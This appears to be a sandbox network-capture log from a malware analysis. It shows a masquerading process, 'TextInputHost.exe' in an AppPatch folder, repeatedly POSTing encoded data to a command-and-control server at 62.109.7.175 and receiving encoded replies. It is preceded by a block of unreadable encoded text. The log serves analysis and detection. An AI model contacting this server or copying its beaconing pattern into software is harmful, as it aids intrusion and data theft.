VJ~MoTJxrRFqs\|doh`uzsZ~\gZw]qyXyJuHdi[xUKqt\pZ\|qiYX@lXZ\|ctXua}cb~XhOjK\|YRjwp^vL{\|\n\\|`nYldhNygoXxCt\nLRHl~O}c^yg`J}[l\ua][zQA[\|Y{S\|azTulU\x\|k\tN}Tzq_G}vOxvKa`ovbpAcavP~]y_wq}afcP~\|ewophclxodZlNf\|mltYl~briToo}u[iLj[{]FQkUkT~c`Oj^y\{}YJohHkaU}YxRsu{sZ~LlFcsuQ{\yvXRJ~fV@~X_trruL\|IrxHx}ssIv\mtqSG~aj~Rl@}YUuOU{L[I~`_ywhygp{}kFz\\|zcPA\|p\|Kygp~LcOuOdG\|l}w`Aa}vllOxRdw`T@yaS\|\|~x_XwccDvqdNtOb\|pXMwLyweh\|l[wlZ\|Mp{B{JxNzD\|S\|Awg\|Lr\}m]{mrO~Lq@Np\|Z}pVB~g~N{CYDxbtHqY\|ww~`SAz]h~L`wsyya}uf\|H}v`M~f_w\U\|rWYryf`\|c{HurStOmOb\|xwYva{Jxr}\|`}{gRywtx}gz\lKxMr{]NZlw]X\|bQ@v_x\|\|gI]TbavRU_oo{\cpfm_~Yi\|z_z\y\}b`g{ZL~JxY~caqMafh@~lq`Uw\hZlDyol`rJ\|~oTcdpbrOzSYQ`a\Tnz[a\|cQpoNjswidqCTn`Z`Hk}pJikxBx]GQy]U_~L]XcsjQ{qX^v`~_g_uq@cb`_qf]}waTxH^Q\|YAYbn@Zr@k_DhUSkd_[cYz_qH~pqF{gpzY\|{PHzLpXyt}XhcDT{c]RaQaYVk{XHkbIqQN_ogGZsOnXEkyZo_GZ^q^oE[}Iksv^uur[bfOSpf[XoSRZo]WoGdXhjppXc{y_@Qi`NV~Oj\Bj{ThUOR_PQdb]zPxtTqHPb`[zZAQkfNWpAjYDa
Apr 2, 2024 23:42:25.926033020 CEST	319	IN	Data Raw: 05 7e 4e 50 62 05 03 5b 5c 5d 76 51 00 63 5b 79 58 57 51 6f 60 7f 5a 7e 75 7a 5b 68 64 0a 4e 54 7a 6f 56 52 60 07 56 61 04 01 07 5b 5b 6a 49 54 60 06 59 52 6f 60 50 7f 5a 78 65 5a 58 5e 00 6f 61 69 57 66 07 6a 5b 52 74 6f 4e 7f 5a 4e 5c 6c 0b 64 Data Ascii: ~NPb[\]vQc[yXWQo`Z~uz[hdNTzoVR`Va[[jIT`YRo`PZxeZX^oaiWfj[RtoNZN\ldGTqMo[CjwET]gCQ[`B\p{Fic[}Z{wcf}JqU]ZWsB]cSIVYZQTb]ZYd\|abZp_XPeYN]q_RifTRU\_`kpFxZ]_TtAQcWCPUJ`kkFT~aSij\|S~\|\S}pZQ~{sWjcOQ{aZTnUTqDk^WddT
Apr 2, 2024 23:42:26.003715038 CEST	479	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 384 Expect: 100-continue
Apr 2, 2024 23:42:26.286283970 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:26.286503077 CEST	384	OUT	Data Raw: 5f 5f 5d 51 50 47 54 5d 5d 5c 52 54 56 52 50 57 59 51 5f 56 52 5e 57 58 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: __]QPGT]]\RTVRPWYQ_VR^WXP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'\9>5#*"&$:<)8$:#!>P+#6+:D4;8X=9Y /P,
Apr 2, 2024 23:42:26.575463057 CEST	324	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:26 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Content-Type: text/html; charset=UTF-8 Data Raw: 09 10 27 56 3f 1b 09 11 20 2b 34 51 28 57 31 0c 33 09 3d 5d 2f 58 35 10 3f 17 09 5d 2d 15 28 12 36 06 23 5f 29 33 29 1f 25 00 20 58 33 1d 2b 59 01 13 26 03 28 3c 01 0e 25 0b 2b 53 32 01 2d 01 24 34 38 19 3e 2b 24 57 30 03 25 53 3f 20 38 5b 2a 23 32 08 3e 00 38 07 2c 2c 2e 05 20 24 2a 5e 0c 17 21 0f 3f 29 05 1b 32 19 24 5a 3d 32 24 01 28 08 27 00 3d 39 2c 0e 25 12 25 5d 29 01 16 57 32 3d 3a 0e 2b 2d 25 56 34 0c 30 0d 2a 02 27 5d 20 01 20 57 01 3e 56 4d Data Ascii: 'V? +4Q(W13=]/X5?]-(6#_)3)% X3+Y&(<%+S2-$48>+$W0%S? 8[#2>8,,. $^!?)2$Z=2$('=9,%%])W2=:+-%V40*'] W>VM
Apr 2, 2024 23:42:26.663069010 CEST	480	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 1868 Expect: 100-continue
Apr 2, 2024 23:42:26.945158958 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:26.946276903 CEST	1868	OUT	Data Raw: 5f 5d 58 54 55 49 51 51 5d 5c 52 54 56 56 50 53 59 50 5f 56 52 59 57 5c 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _]XTUIQQ]\RTVVPSYP_VRYW\P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$--1"%#"*39#>893<"8%)0Z(#84=9Y /P,$
Apr 2, 2024 23:42:27.236121893 CEST	324	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:26 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Content-Type: text/html; charset=UTF-8 Data Raw: 09 10 24 0d 2b 43 28 01 34 28 30 56 3f 08 2a 1f 24 24 21 16 3b 00 29 1f 29 39 27 5d 2e 3b 24 1d 20 28 28 04 28 23 2d 5d 24 3e 2b 01 27 1d 2b 59 01 13 26 03 3f 3f 27 08 26 0c 2f 1d 32 06 32 13 33 09 28 1d 2b 38 2b 08 30 04 22 0b 28 0d 0e 58 2b 0a 35 52 29 39 27 59 38 2c 25 5a 36 1e 2a 5e 0c 17 22 53 3c 00 38 04 32 37 3b 03 29 31 3c 07 29 26 0e 5c 2a 39 24 0f 25 5a 25 1a 3e 59 28 55 32 03 0b 1e 2a 3e 32 0b 37 32 0a 0c 3e 38 27 5d 20 01 20 57 01 3e 56 4d Data Ascii: $+C(4(0V?$$!;))9'].;$ (((#-]$>+'+Y&??'&/223(+8+0"(X+5R)9'Y8,%Z6^"S<827;)1<)&\9$%Z%>Y(U2>272>8'] W>VM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:26.385313988 CEST	480	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue
Apr 2, 2024 23:42:26.668260098 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:26.668541908 CEST	2552	OUT	Data Raw: 5f 51 5d 50 50 42 51 50 5d 5c 52 54 56 57 50 55 59 53 5f 5a 52 5b 57 5e 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _Q]PPBQP]\RTVWPUYS_ZR[W^P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'9-!U.\#1*37)8?-37X#8:P)3"+\8D 8==9Y /P,
Apr 2, 2024 23:42:26.961035967 CEST	151	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:27.482295990 CEST	480	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2548 Expect: 100-continue
Apr 2, 2024 23:42:27.765898943 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:27.774617910 CEST	2548	OUT	Data Raw: 5f 50 5d 55 50 43 54 5c 5d 5c 52 54 56 55 50 52 59 53 5f 5a 52 5b 57 5e 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _P]UPCT\]\RTVUPRYS_ZR[W^P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$-559#15]'9) ^- 7\!^6?.(: @4;;=-9Y /P,
Apr 2, 2024 23:42:28.072026968 CEST	151	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:28.565028906 CEST	480	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue
Apr 2, 2024 23:42:28.850498915 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:28.850678921 CEST	2552	OUT	Data Raw: 5f 58 5d 5d 50 43 51 5d 5d 5c 52 54 56 54 50 50 59 50 5f 5d 52 52 57 50 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _X]]PCQ]]\RTVTPPYP_]RRWPP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'.[)! %6'<>^<X9#?!(>Q)0%\<: D4;<>=9Y /P,,
Apr 2, 2024 23:42:29.151160002 CEST	151	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49743	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:32.021819115 CEST	480	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue
Apr 2, 2024 23:42:32.300744057 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:32.300964117 CEST	2552	OUT	Data Raw: 5f 59 58 50 55 43 54 58 5d 5c 52 54 56 5c 50 56 59 5b 5f 56 52 5b 57 59 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _YXPUCTX]\RTV\PVY[_VR[WYP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$9=^ 2Z"Y'),>;,3#X6(-) 9(,@ ^#*-9Y /P,
Apr 2, 2024 23:42:32.594310045 CEST	151	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49744	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:32.519565105 CEST	480	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 1868 Expect: 100-continue
Apr 2, 2024 23:42:32.799293995 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:32.799475908 CEST	1868	OUT	Data Raw: 5a 5d 5d 56 50 47 51 58 5d 5c 52 54 56 5d 50 50 59 51 5f 5d 52 5d 57 5d 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: Z]]VPGQX]\RTV]PPYQ_]R]W]P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'.X65.&:+]>(?.0;^""V("('#+ Y>=9Y /P,
Apr 2, 2024 23:42:33.094930887 CEST	324	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:32 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Content-Type: text/html; charset=UTF-8 Data Raw: 09 10 27 50 3c 25 38 03 37 06 02 51 3f 31 32 51 25 27 21 17 2c 2d 31 5b 3c 39 0d 17 3a 3b 20 5e 22 2b 28 04 29 33 29 5d 26 07 30 1e 27 0d 2b 59 01 13 26 06 3d 3c 2b 08 31 0b 3b 10 31 06 2e 58 24 0e 27 06 3e 2b 09 08 24 3e 29 55 3d 33 34 1f 3c 0d 2e 08 29 29 33 59 2f 05 39 5c 21 1e 2a 5e 0c 17 22 1f 3c 39 38 07 26 27 34 5c 29 54 37 1c 29 26 24 1f 3e 07 3c 0d 26 12 3d 15 29 06 20 57 32 2d 0b 57 29 03 21 53 21 32 2c 0f 2b 38 27 5d 20 01 20 57 01 3e 56 4d Data Ascii: 'P<%87Q?12Q%'!,-1[<9:; ^"+()3)]&0'+Y&=<+1;1.X$'>+$>)U=34<.))3Y/9\!*^"<98&'4\)T7)&$><&=) W2-W)!S!2,+8'] W>VM
Apr 2, 2024 23:42:33.098720074 CEST	480	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue
Apr 2, 2024 23:42:33.379609108 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:33.379800081 CEST	2552	OUT	Data Raw: 5f 5f 58 51 50 45 51 5a 5d 5c 52 54 56 53 50 54 59 5b 5f 5f 52 53 57 5f 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: __XQPEQZ]\RTVSPTY[__RSW_P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$9=!"Z51>$']=(7-#^!;9(V6<,E4;*9Y /P,0
Apr 2, 2024 23:42:33.666568041 CEST	151	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49745	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:36.638900042 CEST	480	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue
Apr 2, 2024 23:42:36.919226885 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:36.919461012 CEST	2552	OUT	Data Raw: 5f 5a 5d 55 55 48 51 50 5d 5c 52 54 56 56 50 51 59 52 5f 5e 52 5a 57 5a 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _Z]UUHQP]\RTVVPQYR_^RZWZP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$.>>5.!1&39)X-#"(!(0<:/ 8Y>=9Y /P,$
Apr 2, 2024 23:42:37.216300011 CEST	151	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49747	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:38.324778080 CEST	480	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 2552 Expect: 100-continue
Apr 2, 2024 23:42:38.611190081 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:38.611438990 CEST	2552	OUT	Data Raw: 5f 5b 58 57 55 40 51 58 5d 5c 52 54 56 57 50 50 59 52 5f 59 52 5c 57 58 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _[XWU@QX]\RTVWPPYR_YR\WXP\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___$-66Z#1-\'93])<9<";)( 5+<7+ =-9Y /P,
Apr 2, 2024 23:42:38.909950018 CEST	151	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3b 58 5e 58 Data Ascii: ;X^X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49748	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 2, 2024 23:42:38.381447077 CEST	504	OUT	POST /dle1Update/GeneratorProtect00/linuxPrivateDownloadsProcess/toAuth/DumpMariadbbetterJavascript/PrivatephpLine/multiprotectUploads0/BaseUniversal_Windows/Cdn/Multi/6/8Wordpress/5/uploadsServercdn/Http/requestGameMultiDefaultdle.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 62.109.7.175 Content-Length: 1868 Expect: 100-continue Connection: Keep-Alive
Apr 2, 2024 23:42:38.663623095 CEST	25	IN	HTTP/1.1 100 Continue
Apr 2, 2024 23:42:38.663992882 CEST	1868	OUT	Data Raw: 5f 5e 5d 55 50 45 54 5a 5d 5c 52 54 56 54 50 50 59 51 5f 5c 52 5f 57 5e 50 5c 5d 59 56 5e 56 5c 59 5d 50 58 50 56 5b 50 58 5f 5a 5f 59 51 54 5d 57 5f 5a 5f 41 5d 5a 54 5b 53 54 53 5d 5d 5d 5a 59 56 59 45 57 5a 56 50 5a 5c 5f 54 41 52 5e 51 56 52 Data Ascii: _^]UPETZ]\RTVTPPYQ_\R_W^P\]YV^V\Y]PXPV[PX_Z_YQT]W_Z_A]ZT[STS]]]ZYVYEWZVPZ\_TAR^QVRWRTX\]T^[^YSPX_X]TV[XYXP[YQSX^UAS^QY]\X^CUTRGW[\^TW^[^]TUVW[X]Z[YWQWPA^]ZP]]^XZZYYPZXZU[W[_ZT_^Y\S\___'^-=&6)6"!'9+^*4.3!+"P(0?'#0Z=-9Y /P,,
Apr 2, 2024 23:42:38.961309910 CEST	380	IN	HTTP/1.1 200 OK Date: Tue, 02 Apr 2024 21:42:38 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 09 10 27 50 3f 1c 3b 58 34 06 33 08 3c 0f 08 12 24 19 39 17 2f 10 36 05 2b 39 3b 14 39 3b 3c 10 22 2b 2f 5e 3c 23 03 59 32 10 0d 03 24 37 2b 59 01 13 25 14 3c 5a 30 1b 27 31 33 1e 32 5e 3d 02 27 19 3c 1d 29 5d 30 55 26 2d 26 0f 3f 33 3c 10 3c 33 31 14 3e 39 2f 12 2c 5a 3d 10 21 1e 2a 5e 0c 17 22 53 28 39 20 05 26 34 38 12 2a 22 09 5e 3c 26 3c 5d 29 2a 3f 1d 32 05 21 15 29 11 23 0c 26 5b 3e 0b 2a 04 25 56 37 1c 3c 0d 3d 38 27 5d 20 01 20 57 01 3e 56 4d Data Ascii: 'P?;X43<$9/6+9;9;<"+/^<#Y2$7+Y%<Z0'132^='<)]0U&-&?3<<31>9/,Z=!^"S(9 &48"^<&<])?2!)#&[>%V7<=8'] W>VM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49750	62.109.7.175	80	7276	C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Timestamp	Bytes transferred	Direction	Data
